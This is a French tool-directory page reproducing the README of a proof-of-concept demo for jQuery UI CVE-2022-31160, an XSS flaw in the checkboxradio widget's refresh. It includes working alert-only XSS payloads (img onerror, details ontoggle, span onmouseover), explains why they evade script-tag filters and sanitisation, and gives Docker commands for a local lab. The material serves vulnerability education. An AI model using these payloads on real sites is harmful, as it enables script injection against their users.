Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
jquery-cve-2022-31160 — Preuve de concept (PoC) XSS jQuery | Kitploit
Outils/GitHubGitHub/cyberone-teamares/jquery-cve-2022-31160
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebCTFApprentissage et Éducation
GitHubcyberone-teamares/jquery-cve-2022-31160

jquery-cve-2022-31160

Preuve de concept (PoC) XSS jQuery

Voir le dépôt
10il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Démonstration de la vulnérabilité CVE-2022-31160 de jQuery UI

Security Badge jQuery UI CVE Docker

Ce projet illustre la vulnérabilité du widget Checkboxradio de jQuery UI (CVE-2022-31160) qui permet le décodage d'entités HTML lors des opérations de rafraîchissement du widget, pouvant conduire à des attaques de type Cross-Site Scripting (XSS).

🚨 Avertissement de sécurité

⚠️ Ce projet contient des charges utiles XSS fonctionnelles à des fins éducatives et de recherche uniquement.

  • Ne pas utiliser sur des systèmes de production
  • Utiliser uniquement dans des environnements contrôlés
  • Destiné à la recherche et à l'éducation en sécurité

📋 Table des matières

  • Aperçu de la vulnérabilité
  • Démarrage rapide
  • Structure du projet
  • Démonstrations
  • Détails techniques
  • Utilisation de Docker
  • Analyse de sécurité
  • Mitigation
  • Contribuer

🔍 Aperçu de la vulnérabilité

Détails de CVE-2022-31160

  • Composant : Widget Checkboxradio de jQuery UI
  • Versions affectées : jQuery UI ≤ 1.13.1
  • Type de vulnérabilité : Cross-Site Scripting (XSS) via le décodage d'entités HTML
  • Score CVSS : 6.1 (Moyen)
  • Première publication : 20 juillet 2022

Cause racine

Lorsqu'un widget checkboxradio est initialisé sur une entrée contenue dans une étiquette (<label>), appeler .checkboxradio("refresh") sur le widget entraîne un décodage erroné des entités HTML dans le contenu de l'étiquette. Cela peut convertir du contenu malveillant encodé de manière sécurisée en JavaScript exécutable.

Vecteur d'attaque

<!-- Contenu encodé sécurisé -->
<label for="checkbox">
  Texte &lt;img src=x onerror=&quot;alert('XSS')&quot;&gt;
  <input type="checkbox" id="checkbox">
</label>

<!-- Après .checkboxradio("refresh") -->
<label for="checkbox">
  Texte 
  <input type="checkbox" id="checkbox">
</label>

🚀 Démarrage rapide

Prérequis

  • Docker installé sur votre système
  • Navigateur web avec outils de développement
  • Compréhension de base des concepts de sécurité web

Construction et exécution

# Cloner ou naviguer dans le répertoire du projet
cd jquery-cve-2022-31160

# Construire l'image Docker
docker build -t jquery-cve-2022-31160 .

# Exécuter le conteneur
docker run -p 3000:3000 jquery-cve-2022-31160

Accéder aux démonstrations

Une fois le conteneur en cours d'exécution, accédez à :

  • Démo simplifiée du sondage : http://localhost:3000/survey
  • URL alternative du sondage : http://localhost:3000/simplified-survey

📁 Structure du projet

jquery-cve-2022-31160/
├── README.md                    # Cette documentation
├── Dockerfile                   # Configuration du conteneur Docker
├── package.json                 # Dépendances Node.js
├── server.js                    # Serveur Express.js
└── simplified-survey.html       # Démonstration type sondage

🎯 Démonstrations

1. Démo simplifiée du sondage (simplified-survey.html)

URL : http://localhost:3000/survey

  • Interface de type sondage
  • Plusieurs scénarios de vulnérabilité
  • Retour visuel amélioré

Fonctionnalités :

  • 4 options de cases à cocher différentes illustrant divers scénarios :
    • Option sûre : Aucune entité encodée (groupe de contrôle)
    • XSS Sécurité réseau : &lt;img src=x onerror=&quot;...&quot;&gt; - Exécution immédiate
    • XSS Sécurité mobile : &lt;details ontoggle=&quot;...&quot; open&gt; - Exécution immédiate
    • XSS Sécurité cloud : &lt;span onmouseover=&quot;...&quot;&gt; - Exécution interactive

Outils d'analyse :

  • Journalisation détaillée dans la console
  • Alertes d'exécution XSS
  • Suivi pas à pas de la vulnérabilité

🔧 Détails techniques

Mécanisme de la vulnérabilité

  1. Initialisation du widget : jQuery UI crée le widget checkboxradio
  2. Stockage des entités HTML : Le contenu de l'étiquette avec entités encodées est traité
  3. Déclenchement du rafraîchissement : .checkboxradio("refresh") est appelé
  4. Décodage des entités : jQuery UI décode erronément les entités HTML
  5. Exécution XSS : Le contenu malveillant décodé devient exécutable

Chemin de code affecté

// Opération vulnérable
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Déclenche la vulnérabilité

Charges utiles de test

Les démonstrations incluent diverses charges utiles pour tester différentes méthodes d'exécution XSS :

<!-- Sécurité réseau : XSS par événement d'erreur (exécution immédiate) -->
&lt;img src=x onerror=&quot;console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');&quot;&gt;

<!-- Sécurité mobile : XSS par basculement details (exécution immédiate) -->
&lt;details ontoggle=&quot;alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')&quot; open&gt;&lt;summary&gt;&lt;/summary&gt;&lt;/details&gt;

<!-- Sécurité cloud : XSS interactif (interaction utilisateur requise) -->
&lt;span onmouseover=&quot;alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')&quot; style=&quot;text-decoration:underline; cursor:pointer;&quot;&gt;[Survoler pour déclencher]&lt;/span&gt;

Méthodes d'exécution XSS

1. Gestionnaire d'événement d'erreur (onerror)

  • Déclenchement : Immédiat lorsque l'élément est inséré dans le DOM
  • Fiabilité : Très élevée (échoue toujours avec src=x)
  • Cas d'utilisation : Démontre une exécution XSS immédiate
  • Risque réel : Élevé - contourne souvent les filtres d'entrée

2. Gestionnaire d'événement de basculement details (ontoggle)

  • Déclenchement : Lorsque l'état ouvert/fermé de l'élément details change
  • Fiabilité : Très élevée (déclenchement garanti avec l'attribut open)
  • Cas d'utilisation : Exécution immédiate lors de l'insertion dans le DOM
  • Risque réel : Élevé - exécution fiable multi-navigateurs

3. Gestionnaire d'événement de souris (onmouseover)

  • Déclenchement : Nécessite une interaction utilisateur (survol)
  • Fiabilité : Élevée lorsque l'utilisateur interagit
  • Cas d'utilisation : Scénarios d'ingénierie sociale
  • Risque réel : Moyen - nécessite l'engagement de l'utilisateur

Pourquoi ces charges utiles fonctionnent

Avantages des gestionnaires d'événements :

  • S'exécutent lorsque l'élément est inséré via innerHTML
  • Contournent les restrictions des balises <script>
  • Fonctionnent de manière cohérente dans différents navigateurs
  • Ne nécessitent pas de ressources externes à charger
  • Les déclencheurs basés sur l'état (comme ontoggle) sont très fiables

Contournement d'encodage :

  • Les entités HTML (&lt;, &quot;) sont décodées par le rafraîchissement de jQuery UI
  • Transforme du contenu encodé sécurisé en code exécutable
  • Démontre un contournement de la désinfection en conditions réelles
  • Plusieurs vecteurs d'exécution montrent la diversité de la surface d'attaque

🐳 Utilisation de Docker

Construction de l'image

docker build -t jquery-cve-2022-31160 .

Exécution du conteneur

# Exécution sur le port par défaut 3000
docker run -p 3000:3000 jquery-cve-2022-31160

# Exécution sur un port personnalisé
docker run -p 8080:3000 jquery-cve-2022-31160

# Exécution en arrière-plan
docker run -d -p 3000:3000 jquery-cve-2022-31160

# Exécution avec un nom personnalisé
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160

Gestion du conteneur

Télécharger l’outil